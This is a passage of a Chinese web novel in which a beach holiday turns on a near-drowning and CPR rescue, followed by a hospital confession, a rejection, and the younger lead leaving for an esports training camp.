他转头拿手机给池燃发消息, 问:「你俩咋了?」 等了半天, 池燃回了他一串省略号。 韩闻烁一下被气笑了。 要么说人家俩人般配呢,搞冷战都这么有一套。 第二天清早, 一行人陆陆续续下楼来吃早饭。 见池燃过来,白骁主动起身让开潭知行身边的位置,“来来来,你坐这儿。” 池燃冷着脸一把把他按回去了,一声没吭, 坐到季明野身旁,和潭知行面对面。 白骁:? 韩闻烁给他使了个眼色,意思是叫他别多管闲事。 白骁立刻心领神会。 他转头问季明野,“你还想吃点啥不?我给你去拿。” 韩闻烁也问潭知行,“你呢?再来点沙拉吗?” 潭知行压根没回话,韩闻烁直接替他做主了,“得了,我再给你拿点。” 白骁和韩闻烁同时起身,像狗仔碰头似的溜到自助餐台前,白骁一边给季明野挑水果,一边低声问韩闻烁,“韩哥,他俩又咋了?” “吵架了吧,冷战呢。”韩闻烁也悄声,“昨天潭知行和我一起睡的。” 白骁惊讶,“啊?分房了?” “这么严重?” “可不是嘛。” “因为啥啊?按理说不应该——” “你偷偷摸摸嘀咕什么呢?”池燃的声音冷不丁从他身后传来。 白骁一个激灵转过身来,扶了下盘子,才没让哈密瓜滑出去。 “呃,没说,没说什么。” 看池燃一脸的不高兴,白骁脑子一转,揽住他的肩,“今天让韩哥教咱们冲浪怎么样?” 韩闻烁:? 别搞啊,他今天还约了妹子泡吧呢。 白骁:“听说潭哥玩得更好,虽然他受伤了不能下水,但他可以给咱做技术指导。” 池燃面无表情地往盘子里夹圣女果,“谁要他指导。” 韩闻烁闭上眼,狠了狠心。 他兄弟这辈子就谈这么一回恋爱,他说什么也得推一把。 他一咬牙,“对,我教你俩冲浪吧,玩起来特别爽。” “反正今天也没别的安排不是?” “潭知行那一病号,不用管他,让他在岸边看着就行。” “……”池燃犹豫了下,“行吧。” 运动一下,也能让他少想点潭知行。 等他回过神来,才发现自己夹了一盘子的圣女果。 池燃:“……” 他就不爱吃番茄类的东西,怎么每回一走神就不长脑子呢? 但夹都夹到自己盘子里了,总不能再倒回去。没办法,他硬着头皮端着盘子回来。 季明野稍稍咂舌,“同桌……你吃得了这么多吗?” 池燃闷闷的,“吃得了。” 潭知行往他盘子里瞟了一眼,隐隐升起些担忧。池燃摆明了还在和他置气,可倒也不必这么和自己过不去。 “给我。”潭知行朝他伸手。 池燃瞬间向潭知行瞪过去一眼,“不用!” 他拿叉子狠狠戳起一个圣女果放进嘴里,一个接一个,不一会儿就把嘴巴塞满了,费力地咀嚼着。 说实话他都不清楚自己在气什么,潭知行明明是为了他才受伤的,潭知行明明没做错什么,昨天先发脾气的也是他,可他心口就是堵得很。 堵得他……想把潭知行拎过来揍一顿- 下午,韩闻烁一个人教池燃和白骁两个人冲浪,潭知行还是不放心,本来想在房间里休息,但兜了一圈还是随手拿了本书去沙滩椅上坐着。 韩闻烁拎着冲浪板,带着池燃白骁,从他身旁走过去。 “开玩笑,我拿过教练证的好不好,教你们两个还是小意思。” “今天就先教你们入门,能在海上站起来就不错了。” “别小看我俩啊韩哥。”白骁不服,“我俩的运动天赋还是不错的。” “行行行。”韩闻烁笑笑,“让我看看你们俩有多能耐。” 他脚下一拐,把池燃和白骁带到了潭知行面前。 池燃:? “来,先热身,教你俩基础动作,让潭知行给你俩纠错。” 白骁反应了一秒,立刻答应下来,“来来来,没问题。” 韩闻烁给他们演示了起乘动作,让池燃和白骁跟着做。池燃有点不情不愿的,他们干嘛要在潭知行面前做这些,有点太傻了。 韩闻烁不是拿过教练证吗? 但他不好表现出来,还是照做了。 韩闻烁:“白骁你做得很好!可以跟我下海了,池燃你再跟潭知行练练,练好了来找我俩。” 下一秒,韩闻烁和白骁夹着板子跑了。 池燃:??? 他有点不敢相信这俩人就这么把他扔下了。 是人吗? 想骂人的话就在嘴边,但忍了忍还是闭嘴了。 他看向潭知行,干巴巴地憋出俩字,“教我。” 潭知行沉口气,站了起来,“膝盖微微弯曲,背挺直。” 他扶了把池燃的手,“双手打开,放身体两侧。” “前脚四十五度,后脚垂直。” “胸口再朝前转一点。” 反复给池燃调整了两遍姿势,潭知行淡淡嗯了声,“保持这样,可以去练了。” 池燃立刻抱着板子就想走。 “跟着韩闻烁,别跑太远。”潭知行又说,“第一天在白浪上练就行,落水也不用害怕。” 池燃身子顿了顿。 “知道了。” “……还在生气吗?”潭知行拽住他手腕。 池燃沉默了下,“对。” “在气什么?”潭知行声音放低,“能跟我解释一下吗?” “不说了。”池燃甩开他的手。 池燃学得还算快,没一会儿就在浪上站起来了,掌控浪花的感觉确实很爽,专注力集中,能让他暂时忘掉一些烦心事。 “呜!爽!”白骁在他不远的浪上滑行,正得意着,下一秒就被浪拍进了水里。 池燃瞬间哈哈大笑起来,嘲笑他,“让你爽——” 他重心一偏,转眼也从板上翻了下来。 白骁划着水过来,“让你笑。” 韩闻烁在一旁拍手,“集中精力呀孩子们。” 白骁:“他先笑我的。” 池燃:“他先打扰我。” 韩闻烁听完一下仰面倒在了水上飘着。 他妈的,小孩真难带。 “潭哥,可以吃晚饭了。”季明野从民宿找到沙滩上,往海边的方向望了望,“叫他们回来吧。” 潭知行闻声合上书,应了声,“好,我去叫。” 他刚起身,往前走了没两步,就瞧见韩闻烁和白骁扛着冲浪板往回走了。 “累死我了。”韩闻烁一下倒在躺椅上,抬手点点潭知行,“下次再有教小孩这种活,你别找我。” 白骁诶了一声,“韩哥,别这么说,我俩学得不挺快的吗?” “是是是。” 韩闻烁心累到闭眼。就是不听话,全靠自行摸索。 “池燃呢?”潭知行问。 “他说他想再练会儿。”韩闻烁知道潭知行在担心什么,“我跟他说了只找白浪练,我看他水性也不差,没事儿的。” 潭知行放眼望去,果然,在不远处的海浪上找到了池燃的身影。 “你们先去吃饭吧。”潭知行说,“我在这儿再待一会儿。” “行。”韩闻烁一个卷腹就坐了起来,“你看着他吧,我们吃饭去了。” 他揉揉肚子,“哎呦,饿死我了,这一上午体力消耗比我自己冲浪还大。” 韩闻烁他们几个回民宿吃午饭去了,潭知行又坐回躺椅上,远远看着池燃反复练习冲浪。 池燃这种做事的劲头,说实话,和他的性格还蛮符合的。一旦认准了,想做什么,就会一直做下去。 就连生气也是一样,如果找不到能让他解开心结的点,大概会一直生气下去。 可是……他到底在想什么呢? 问了又是拒绝沟通。 潭知行把手里的《陪孩子度过青春期》又翻过一页,还是找不到答案。 他叹口气,再度抬眼去寻池燃的身影,却一下慌了,脑海中一根弦瞬间绷紧。 池燃呢? 潭知行劝自己冷静,池燃发色显眼,应该很好找,说不定只是他看差了。 他定下神来,又迅速扫了一遍正在岸边冲浪的人。 还是没找见池燃。 潭知行当即撇开书,大步朝岸边跑过去,“池燃!” 一阵汹涌的浪正扑上岸边,几乎是下意识的,潭知行朝远处的海看了眼。 一抹金色从他眼前晃过,挣扎了两下,还是沉了下去。 潭知行心中一紧,瞬间什么也顾不上了,直直冲进海里,“池燃!”—— 作者有话说:小池:气气气,冲浪去[愤怒],啊——咕噜噜咕噜噜[害怕] 潭老师:[托腮] 作者:好了好了不要吵了[奶茶],lets无奖竞猜是谁先表白!下一章公布答案[撒花] 第53章 肩膀上阵阵剧痛, 仿佛要将潭知行撕裂,但此时此刻他心里眼里只有一个目标,无论如何也要抵达。 千万, 千万不可以有事。 潭知行奋力朝池燃的方向游去, 看到池燃已经失去意识闭上眼睛的那一秒,他的心似是和池燃一同溺水了,无法呼吸。 他一举将池燃托出水面, 让池燃靠到自己肩上,同时大声向四周呼救。 有两三个年轻人注意到他的喊声, 纷纷向他游过来,几个人合力将池燃拖上了海岸。 “找救生员!”潭知行将池燃放平,抬起他下颌, 打开呼吸道。他视线离不开池燃一秒,只得求助身旁的人,“拜托叫救护车!” 潭知行以前参加过急救复苏培训,可他没想过,第一次实践, 竟然是在池燃身上。 溺水的心肺复苏和常规不同, 打开气道后要先人工呼吸, 再胸外按压。 他什么也没想, 俯下身,捏住池燃的鼻子, 口对口吹气,反复五次之后,再进行胸外按压。 每一次他都能感受到自己心脏的跳动,震耳欲聋,几乎要摒弃一切, 只希望眼前的人没事。 求你了…… 睁开眼。 潭知行在心里默念,同时一丝不苟地按复苏流程执行。 “来了来了!救生员来了!”不知道是谁喊了声,围着的一圈人让出了条路来。 潭知行紧紧盯着池燃,下一秒,池燃猛地呛了一口水出来,恢复了意识。 “池燃。”潭知行声音都在颤。 池燃迷迷糊糊睁开眼,却只觉眼前一片白,有什么人在叫他,声音很熟悉。 灌入呼吸的水让他难受,他挣扎着,又接连呛出几口水,终于看清了眼前的人。 “潭,知行……” 有那么一瞬间他很想哭,他还以为,这辈子再也见不到了。 救护车到得很及时,池燃被担架抬上车,潭知行作为家属陪同。 眼看着池燃逐渐恢复体征,潭知行才算松下一口气。刚刚那几分钟,于他来说,简直像一场噩梦。 “家属……你这个伤口,一会儿也处理一下吧。”一旁的护士忍不住提醒他。 潭知行这才猛地回过神,朝自己肩上看了眼,因为活动过度,伤口撕开,血又渗透了层层绷带。 他点头,“好,谢谢。” 池燃躺在那儿,盯着潭知行肩上的血迹,迟迟不语,最后偏过头去不看他。 到了医院,池燃被护士带着去做检查,潭知行则被领着去重新包扎伤口。 当值的护士还是昨天那位,一见他就惊呼了一声,“呀,你怎么搞的?不是昨天才换好药吗?” 带潭知行来的护士解释了句,“有个孩子溺水,他下去救了,估计伤口又裂开了,你重新给他二次缝合吧。” 潭知行点头,又在病床上坐好,和昨天如出一辙,“麻烦了。” 护士摇摇头,“你可要注意点,这样拆线后伤口也很容易开裂的,要养一段时间。” 潭知行轻轻应了声,事实上,伤口现在疼得都有些麻木了。 “能借下手机,打个电话吗?”他问护士。 护士顿了下,“可以。” 随后将手机从口袋里摸出来递给他,又回身去拿消毒钳。 潭知行凭着记忆拨通了韩闻烁的电话,刚一接通,韩闻烁懒散地喂了一声。 “是我。”潭知行说。 韩闻烁一下从沙发上坐直了,“潭知行?你搞什么?” “我手机在房间里没带出来,我和池燃现在在医院,晚点回去。” “医院?怎么又去医院了?”韩闻烁问。 潭知行沉下口气,“……池燃刚才溺水了,叫了救护车,带他来医院。” “溺水?!”韩闻烁震惊,“怎么会溺水了?他怎么样了?” “应该没大碍,带去做检查了,没事的话,我们过一个小时左右回去。”潭知行顿了顿,“你别跟白骁他们说,别让他们担心。” “行……我知道了。”韩闻烁应道,“需要我过去就叫我。” 潭知行缝完伤口,又重新打好绷带,池燃已经做完了各项检查,被安排在一间病房里挂水。为了防止他体温过低,护士拿了毯子来将他裹上。 “感觉怎么样了?”潭知行进来,轻轻关上了门。 池燃抑制不住地咳了两声,注意到他新换的绷带,不自然地眨了眨眼,“还好,医生说没事,挂完这瓶就可以回去了。” 潭知行淡淡嗯了声,走到床边,看了看挂水的速度,还算适中。 “怎么会溺水的?”他看向池燃,问,“你是不是去找浪了?” 池燃垂下眼,被潭知行说中了。 他本来就心情不好,玩白浪花玩腻了,就想着去找点更大的浪花,谁知道会一下被拍在海里。 半晌,他点了点头。 潭知行重重缓了口气,似乎在压抑自己的情绪。 “池燃,我跟你说过不要跑太远,量力而行,你知道刚才有多危险吗?” 池燃垂着眼不说话。 “万一我没有及时发现你,没有救你上来给你做心肺复苏,你现在有可能已经——” “你给我做心肺复苏了?”池燃不知道从哪儿抓到的重点,抬起眼睛来看他,“人工呼吸了吗?” 潭知行一口气哽住。 “这个不是重点。” “做了?”池燃突然觉得有点亏,他这辈子还没和别人嘴对嘴过,怎么第一次接吻就是在他昏迷的时候啊? “我在跟你说正事,池燃!”潭知行一下发了火,声音凌厉起来,“你不要总是把自己置于那么危险的境地,算我求你,你可以闯祸可以不听话,但是在做这些事情之前,你有没有想过在乎你的人!” “白骁,季明野韩闻烁,还有我,如果你出了意外,你要我们怎么办?” 潭知行深吸了口气,极尽全身的力气压制情绪。可他真的太害怕了,如果再晚个一两分钟…… 是不是什么都没有了? 池燃看着潭知行眨了眨眼,他从未见过潭知行这么生气的模样,可他竟然一点不气潭知行对他发脾气,反而忽然明白了什么。 “潭知行。”池燃平静地叫他,“我好像知道我为什么会生气了。” “……” “跟你一样的理由。”池燃认真地看向他的眼睛,“我也很怕失去你。” “看到你受伤,我也会后怕,想万一没有你,我该怎么办?”他不顾潭知行的反应,接着说下去,“所以我很希望,如果受伤的是我就好了,你不要有事。” “今天呢?你会不会也希望如果溺水的是你就好了?如果我真的出了意外,你会后悔,会自责吗?” 池燃稍稍哽咽了下,“如果你为了救我而死掉,我会。” “所以我不想看见你受伤,又因为救我伤口复发,我不希望你说没事,说不疼,因为那对我来说很有事,很疼。” 就像现在,他的心脏真的好疼。 “……”潭知行唇边微动,他想说些什么,却又什么都说不出口。 算了。 他一瞬心软,将池燃揽进了怀中。 他闭了闭眼,心想:就算池燃闯一万次祸,发一万次脾气,又能怎么样?他会竭尽所有去保护池燃平安,健康地长大。 “……对不起。”池燃声音闷闷地传来,“我从小任性惯了,随心所欲惯了,不知道会让你这么担心。” “以后不会了。”他说。 “嗯……”潭知行轻轻应了一声,“没事了。” 他的声音跟着心一起微颤,“以后,我们不要吵架了。” “你有什么想法,都跟我说,我会理解。” 说到这儿,他自己笑了声,揉了揉池燃的头发,“就算理解不了,我也会试着,努力去理解。” 池燃也嗯了一声,很郑重似的。 他扬起脑袋来,问潭知行,“你肩膀还疼吗?” 潭知行刚想说没事,想起池燃的话,又点了点头,“疼,不过,救你的时候,没顾上那么多。” 池燃神色顿时稍显落寞。 潭知行随即补上后半句,“护士说多养一段时间也就好了,没那么严重。” 池燃哦了声,才把心放回肚子里,“好吧。” “潭知行,你坐下。”半晌,池燃指挥他。 潭知行听话地在他床边侧身坐下,“等你点完这瓶我们就回去,我没跟他们说你溺水的事,怕他们担心。” 池燃点点头,似乎根本没把潭知行说的话放在心上,接着说自己想说的。 “潭知行,你刚刚是不是亲我了?” 池燃语调上扬,眉眼里终于恢复了喜色。 潭知行愣了下,随即纠正他,“池燃,那是人工呼吸。” 池燃不管他,歪了下脑袋接着问,“怎么样?好亲吗?我嘴唇软吗?” 潭知行:“……” 他那时候急都要急死了,哪还顾得上感受这些。 他别过头去,“我不知道。” 池燃笑着看他,觉得很有意思,“潭知行,你耳朵红了。” 潭知行:“……” “你亲我的时候我在昏迷,对我很不公平的。” “想不想再试一下?” 潭知行忍无可忍,扭头过去,正欲再跟池燃分辨一下“接吻”和“人工呼吸”的区别,但他半个字都没说出口,池燃掰着他的下巴吻了过来。 温热的呼吸在他唇边停留了片刻。 “潭知行,我喜欢你。”池燃眼睛亮亮地盯着他,“特别喜欢你。”—— 作者有话说:小池:芜湖,初吻get[星星眼],好公平[害羞] 勇敢小池,不怕困难[加油] 第54章 一瞬间, 潭知行如同被人从上自下浇了一桶凉水。 他愣在那里,说不出半句话来。 “我第一次谈恋爱,你得让着我。”池燃自言自语, 想了下又觉得哪里有问题, “哦不对,你也是第一次谈恋爱,行吧, 那我也让着你一点。” 他们Alpha,就是这么大度。 “这次的事咱俩就一笔勾销了, 下次你再惹我生气的话——” “池燃。”潭知行叫住他。 看过去的神色变得冷淡,“你在说什么?” “说我们恋爱之后的守则啊。”池燃也愣了一下,片刻之后, 他反应过来,“哦哦哦,你先说吧,说完我再接着说。” “说什么?”潭知行不解地问。 “说你喜欢我啊。”池燃有点不乐意了,潭知行明知故问什么? “……” 潭知行沉默了半晌, 甚至不敢去看池燃的眼睛。 事情为什么还是会发展到这个地步, 到他最不想看见的情形。 “池燃。”潭知行缓缓开口, “你误会了……” “我对你, 没有……”他慎重地措辞,希望能委婉一些, 可想了想,又怕池燃误会什么。 “爱情。”他终于鼓起勇气看向池燃,“我对你的感情,不是爱情。” 一刹那,池燃宛若晴天霹雳, 彻底呆住。 怎么可能? 他不敢相信,潭知行对他明明…… 明明…… 如果那种感情不是喜欢,不是爱的话,那又是什么? 潭知行深缓一口气,道,“我们在一起朝夕相处了很久,也一起经历了很多事情,我理解你正值青春期,对于感情的界定会有偏颇,错把——” “没有。”池燃果断地打断他,“潭知行,我没有。我分得清自己的感情。” 他说,“我就是喜欢你。” “……”潭知行再度垂下眼来,“抱歉,也许是我做了什么让你误会的事情,是我考虑不周。” 他狠了狠心,“但是池燃,我对你没有那种感情。” 池燃呼吸轻颤,他根本没办法相信潭知行说的话。 “你说过要陪着我,要一直陪着我,你说让我不用害怕,你会陪着我长大……” “这些——” “我会的。”潭知行说,“我会说到做到,只不过,是以另一种身份。” “……什么身份?”池燃问。 “哥哥。” 池燃艰难地吞咽了下,几近哽咽。原来,潭知行是真的想当他哥哥。那一直以来,都是他自作多情? “……滚。”池燃气得发抖,从唇缝里吐出一个字。 他用尽浑身力气,推了潭知行一把,“滚!” “我不想看见你!” 潭知行肩膀被推得生疼,但他僵坐在那里没动。 “别闹脾气了,我们刚说好以后不——” “滚啊!”池燃抄起身后的枕头朝潭知行打过去。 “……” 或许他真的不适合继续待在这里,该给池燃一些冷静思考的空间。 半晌,潭知行起身。 “好,我回去等你。” 潭知行关上门的一瞬间,池燃眼泪止不住地掉下来,放声大哭。 潭知行怎么会? 潭知行对他那么好,几乎有求必应,真的只是……哥哥? 与此同时,病房门外,潭知行险些失去所有力气。 他千盼万盼这一天永远不要到来,可在池燃炙热的感情面前,他竟毫无还手之力。 怎么会如此痛苦? 看着池燃痛苦,又令他痛苦上千万倍。 早知今日,他宁愿当初从未遇见过池燃。又或者,从一开始,他就不该对池燃动一丝一毫的念头。 他也未曾想到,那点点滴滴积攒下的爱意如火苗,遇风便一把烧了他所有理智。 可如果,一切能停止在这里,也算是个不错的结局。 潭知行浑浑噩噩地回到民宿,已是傍晚时分,天色刚刚透黑。 韩闻烁心急,专门坐在院子里等他们回来,却只看见潭知行一个人。他立刻迎上去,探头探脑地问,“池燃呢?” 潭知行有气无力地应了声,“在医院,一会儿回来。” “你——”韩闻烁惊讶,“让他自己回来?” 潭知行嗯了声。 不然还能怎么办……他是被赶出来的。 “他带手机了吗?身上有钱吗?你让他怎么回来?”韩闻烁问。 “……过半个小时,你去接他吧。”潭知行发觉自己丧失了一部分思考能力,“住院部五楼,503。” 他交代完,没多说一句,就要往大厅里走。 韩闻烁拦下他,“你今天怎么回事?” “没事。”潭知行找了个借口,“他还在跟我闹别扭,你去比较好。” “……”韩闻烁半信半疑地应下来,“行吧。” 他现在也算是领教过池燃的脾气了,能把潭知行弄成这样,高人一个- 半个小时后,韩闻烁准时出现在住院部五楼,出了电梯,他直奔服务台,问了护士一声,"你好,麻烦问下503在哪?" 护士给他往走廊指了下,“最里面那间。” 韩闻烁谢了声,快步朝病房走去,没等他走到走廊尽头,池燃从房间里推门出来了。 见到韩闻烁,池燃也愣了下。 “你来干嘛?” “我来接你回去啊祖宗。”韩闻烁上前,对他左看右看,“你没事了吧?怎么搞溺水了?” 池燃淡漠地撇开视线,低声,“我没事。” “你还跟潭知行闹别扭呢?”韩闻烁见状问。 池燃沉默了下,“别跟我提他。” 他现在想到潭知行,心里就充满了伤痛和火气。 韩闻烁一下闭嘴了,池燃脾气还不是一般的大。 “行行行,我不提他。” “赶紧回去吃晚饭吧,吃完好好休息一下。” 池燃往前走了几步,又突然顿住,问韩闻烁,“你怎么知道——” 我在这儿的。 但话说到一半他又闭嘴了,很明显,是潭知行叫韩闻烁来的。 跟潭知行发完脾气叫他滚之后,冷静了一会儿池燃才想起来自己身上分文没有,手机也没有,本来想向护士姐姐借点钱打车回去的。 池燃心里又一阵沉闷。 潭知行还有心思叫韩闻烁来接他回去,明明不喜欢他,可还是要在这种乱成一团麻的情况下关心他。 坏,坏蛋,坏死了。 当他池燃离开潭知行就活不了吗? “哎,你眼睛怎么这么红啊?”韩闻烁注意到池燃眼睛里的红血丝,不免有些担心,“是不是溺水的时候刺激到眼睛了?” “回去的时候顺便给你买点眼药水吧。” 池燃咬住下唇,硬气地撂下一句,“没事,不用。” “走了。” 回到民宿,韩闻烁将池燃送到房间门口,他不放心,还是嘱咐了池燃两句,“你好好的,别跟潭知行吵了啊。” 池燃站在房门前,迟迟不肯进去。 现在让他面对潭知行,简直比杀了他还难受。 “进去啊。”韩闻烁催促他。 池燃咬了咬牙。 其实他现在很想直接躲去找季明野和白骁,但是他的手机和衣服都还在房间里,起码得拿了再走吧。 算了,进门打个照面而已,池燃宽慰自己,又不会掉块肉。 看着池燃进了房间,韩闻烁才觉得自己的任务完成了。他松下一口气,推开自己的房门,转身便被吓了一跳。 “我操,你在这儿干什么?” 韩闻烁不可置信地盯着潭知行,“你干嘛不回你房间?我把池燃接回来了。” 潭知行靠坐在沙发上,沉默着不说话。 韩闻烁反应过来,摇摇头道,“你不能总把我这儿当成防空洞吧,你俩一吵架你就过来躲着,以后你俩在家吵怎么办?也是随机挑一个离家出走?” 潭知行没答他的话,只问,“池燃怎么样?” “呃,看起来还行啊。”韩闻烁说,“偶尔还有点咳嗽,应该过两天就好了。” 潭知行嗯了一声。 韩闻烁从小冰箱里拿了罐啤酒出来,起开,坐到潭知行身旁,喝了两口,“不过,你俩到底吵啥呢?从昨天开始就不对劲。” 潭知行:“他刚才,跟我表白了。” 韩闻烁呛了两声,顿时瞪大眼睛,“然后呢??!” 不过见潭知行这副沉默的样子,他随即反应过来,“你没答应?!” “” 潭知行点了点头。 “你有病吧!”韩闻烁简直恨铁不成钢,但两秒后他就平静了点,“……你确实有病。” 他回想了下,怪不得刚才一路上池燃都那么沉默低落呢,敢情是被单方面失恋了。 他摇摇头,哎了一声,靠在沙发上又喝一口酒,“所以呢?你打算怎么办?” 他太了解潭知行了,逃避当然是潭知行的首选。 可怜池燃了。 “不知道。”潭知行声音很低,“先分开一段时间吧。” “回家之后,我搬出去。” 韩闻烁暗暗地想:得,真按他说的去了,一个离家出走。 他想了想,还是觉得于心不忍,开口劝道,“其实池燃那孩子挺好,你要不就——” “就是因为他很好。”潭知行打断他,“也年轻,往后的日子还很长。” 所以,他才不敢。 韩闻烁闭嘴了,扭头看向窗外风景,默默喝酒。 他和潭知行的观念不同,劝也没用。 这时潭知行放在茶几上的手机弹出一条短信,是消费提醒。 潭知行随意扫了一眼,支出一万多,来自航空公司—— 作者有话说:小池:头等舱,拜拜了您嘞[愤怒] 第55章 早餐时间, 白骁兢兢业业地站在餐厅门口给客人们登记,他刷完潭知行的房卡,递回给他, 问, “潭哥,池燃呢?是不是又睡懒觉没起来?” 潭知行顿了下, “不是。” “昨天晚上他家里临时找他, 他回去了。” 白骁疑惑,“啊?” 潭知行表面镇定地嗯了一声, “所以这几天他不跟我们一起了。” 白骁挠挠头,“好吧。” 他忍不住埋怨池燃,“真是的, 走了也不跟我们说一声。” 潭知行解释道,“他走得急,拜托我跟你们说了。” “行吧。”白骁说,“我知道了,我一会儿再跟季明野他们说, 本来还想今天再一起去冲浪呢。” 潭知行点点头, 心不在焉地找了个位置坐下。 池燃昨晚订了机票, 大概是被他气到根本不想和他同处一个空间, 直接跑回家去了。今早去房间一看,果然所有行李都被带走了。 他不是不想拦着, 而是找不到任何理由。 他刚刚拒绝了池燃,伤了池燃的心,再凑上去管这管那,似乎显得他太不知好歹。 他有什么资格呢? 就这么给池燃一些空间也好,也许时间一久, 池燃的感情就会淡了。 “先生这是我们的座位。” 一个带着小孩的女人轻轻拍了拍潭知行的肩。 潭知行一瞬回神,连忙起身,“抱歉,我没注意。我以为是——” “没事没事。” “叔叔。”小男孩瞪大眼睛,指着他,“你黑眼圈好大哦,好像大熊猫。” “别乱说。”女人捏了下小孩的脸,又对潭知行笑笑,“不好意思啊,小孩子就这样。” 潭知行勉强笑了下,没说什么。 这时韩闻烁在对面不远处的桌子旁招呼他,“这儿呢!” 潭知行对女人道,“我朋友叫我,我过去了。” 等潭知行走过来,韩闻烁古怪地看看他,“真是,你要跑哪儿去,跟你说了我在最里面靠窗边的桌子。” 潭知行坐下,“没注意。” “池燃真走了?”韩闻烁问。 潭知行点点头,“嗯。” “那你要不要提前回去看看他?”韩闻烁问,“他一个人在家里能行吗?” “不用。”潭知行垂下眼,“应该没事。”- 周一,早上八点,池燃拖着两个大行李箱站到TJG大楼门前,还觉得有点恍惚。 TJG作为PKL职业联赛蝉联多年冠军的战队,一直在业内颇有威望。报名青训的时候池燃根本没多想,只是抱着试一下的态度,没想到他真的会收到邀请。 做梦一样。 可能这就是所谓的情场失意职场得意吧,从海城回来的当晚池燃就收到了邮件,几乎是瞬间池燃就把失恋的伤心抛在脑后了,从床上跳起来收拾行李。 邮件上说为期一个月的训练是封闭式的,每周只会休息半天有自由活动时间,并且要四人一间宿舍过集体生活。 池燃对所谓的集体生活半点都不熟悉,更不会自己收拾行李。在网上搜了好久的攻略才兵荒马乱地整理出两个行李箱。 因此,对于这次青训,池燃又期待又紧张。 他站在门前,反复深呼吸了两口气才准备进门。 这时,有人从身后拍了他一下。 一个黄毛男生出现在他眼前。 “你也是来参加青训的吗?”男生问。 池燃扫了眼他的头发,慢半拍地点点头。 男生立刻笑笑,“我也是,那咱俩一起去报到吧。” “诶你这头发颜色染的真好,在哪家店做的,给我推荐一下呗。” 池燃刚想说他是天生的,但转念一想,还是低调一点,他想起韩闻烁的理发店,随即道,“行啊,我一会儿就把老板微信推你。” 在前台登记完,他们拿了梯卡上二楼。 邮件上要求的报道时间是八点半,但这会儿小会议室里已经坐了一半的人。 池燃一推门进去,还是被小小地惊讶了下。 整间屋子里像是坐了一片花花草草,这些男孩的头发各式各样的,蓝的绿的粉的白的,一个比一个有特点,唯一一个黑毛,坐在最后一排,池燃忍不住多看了两眼。 看来在这里,他完全不用担心被挑发色的毛病了。 等人都到齐,一个中年男人推门进来,原本嘈杂的房间瞬间安静下来。这个人他们都认识,是TJG的前任教练王闲,出了名的严格,也是他们这次青训的教练。 男人一言不发地打开投屏,放上ppt,才开口直奔主题,“这是这次青训的作息时间表,已经贴在了你们房间里,每个人必须严格遵守,否则,随时有可能被我清出去。” 大家往屏幕上定睛一看,瞬间有几个人倒吸了一口凉气,窃窃私语起来。 “这他妈是人过的日子吗?” “我操,早知道不来了。” 但王闲扫过去一眼,所有人又噤了声。 “你们不要以为职业选手是那么好当的,如果这点苦都吃不了,你们现在就走。” 池燃默默吞咽了下,心提到嗓子眼。 早上七点半起床,跑操半个小时才吃早饭,上午两个小时理论课,一个小时复盘,下午开始实训,除了晚饭时间,从两点一直干到十二点。 他上学都没这么努力过。 “你们二十个人,最后只有两个人能进主队,其中一个是替补。如果没有异议,来这边签合同。”王闲说,“签完合同就可以去宿舍休整,下午我们开始自由训练。” “要不要签,现在就想好。等正式开始训练,喊苦喊累我可不会手软。” 几个男生互相看了几眼,其中一个颤颤巍巍地举起了手,“教练,我现在退出行吗?” 王闲看他一眼,半晌道,“走吧。” 最后排的黑发男生最先起身来签合同,随后便陆陆续续跟上来了几个人。 池燃也没犹豫,排在了队伍后面。 他来这里,就是抱着要成为职业选手的念头的。 宿舍安排在三楼,是早就随机分好的房间。 池燃领了钥匙,拖着行李箱来到三楼,他停在一间房前确认门牌号,是304没错。 “诶,你也住304吗?”刚才在楼下遇到的黄毛男生晃着钥匙跟了上来,“那咱俩是室友了。” “这么巧。” “我叫李凯程。“男生问,“你呢?” 池燃顺手拿钥匙开了门,“池燃。” 男生跟着他推门进了宿舍,“你多大?我十六。” “十八。”池燃说。 李凯程扫了眼宿舍,随即感叹道,“环境还不错嘛,还有独立卫浴。” 他在靠门口的椅子上坐下,“你十八啦?那我得叫你哥了。” “我住这张床你没意见吧?” “没有。”池燃也转了一圈观察宿舍环境,对他来说,只能是,能住。 上床下桌,一人宽的木架床,感觉他翻身都困难。 还有这卫生间也太小了点,四个人共用吗?他有点洁癖,不太习惯。 池燃默默叹口气,在李凯程对面坐下。四个床位挑来挑去也挑不出什么区别,随便住就是了,看来这一个月只能忍忍了。 这时又有一个人径直走进宿舍,池燃一看,是那个很朴素的黑头发男生。 李凯程主动和他打招呼,“哈咯啊,进了这个门我们就是室友了,我叫李凯程,他叫池燃。“ 男生步子都没停顿一下,走到另一个床位旁,把肩上的包扔到书桌上,“于胜。” 李凯程见状奇怪道,“哎你就带了一个包吗?我们要在这儿住一个月呢。” 于胜没回话,池燃古怪地看看他,片刻收回目光,掀开一个箱子整理行李。 “还有一个人呢?”李凯程扒着门框朝走廊张望,“怎么还不过来?” “可能是刚刚走的那个人吧。”池燃说。 李凯程哦了一声,“那这间宿舍就我们三个人啦。” 他叉腰,“我们好好相处吧!” 池燃蹲在地上拿行李,仰头同他握了下手。 反观于胜,压根没理他们,自顾自地铺着床单。 池燃和李凯程对视一眼,都没说话。 池燃带了不少东西,几乎快把家里搬空了,从衣服鞋子到各种洗漱用品,生怕自己被委屈到。每一样东西都很有用,除了那个被潭知行拼起来的贝壳。 他发誓自己没有睹物思人的意思,只是觉得,好看,就顺手带过来了。 他随手把贝壳放进抽屉里。 “来吧,把手机都交上来。”他们一直敞着门,王闲就直接走了进来,“还有一切电子设备。” “啊?”李凯程顿时萎靡了,“教练,还要交手机啊?” “当然了。”王闲说,“不然谁知道你们是不是玩手机玩到半夜。” “刚才怎么不说啊?”李凯程抱怨。 “怎么?刚才说你就不参加训练了?” “没有没有。”李凯程不情不愿地掏出手机来,递给王闲,“交,交还不行吗?” 池燃犹豫了下,老老实实把手机拿出来。 反正潭知行最近也不会联系他,手机在和不在没什么区别。 他正将手机递过去,屏幕突然亮了,弹出一条消息,潭知行的名字一闪而过。 池燃急忙想撤回手,手机却被王闲一把夺走,“什么都别想,好好训练。”—— 作者有话说:小池:[可怜]让我看一眼,就一眼 第56章 度假结束, 潭知行从海城回来。 进家门前,他站在门口犹豫了好一阵。说实话,就算思索了两三天, 他也没想好该怎么面对池燃。 池燃现在应该很不想见到他吧。该不该主动跟他说话呢?是多说几遍抱歉的话, 还是装作什么也没发生过?还是像通知一样跟他说自己会搬出去,多给彼此一些冷静的时间? 他像罚站似的,站在自己家门前。突然有些可悲地意识到, 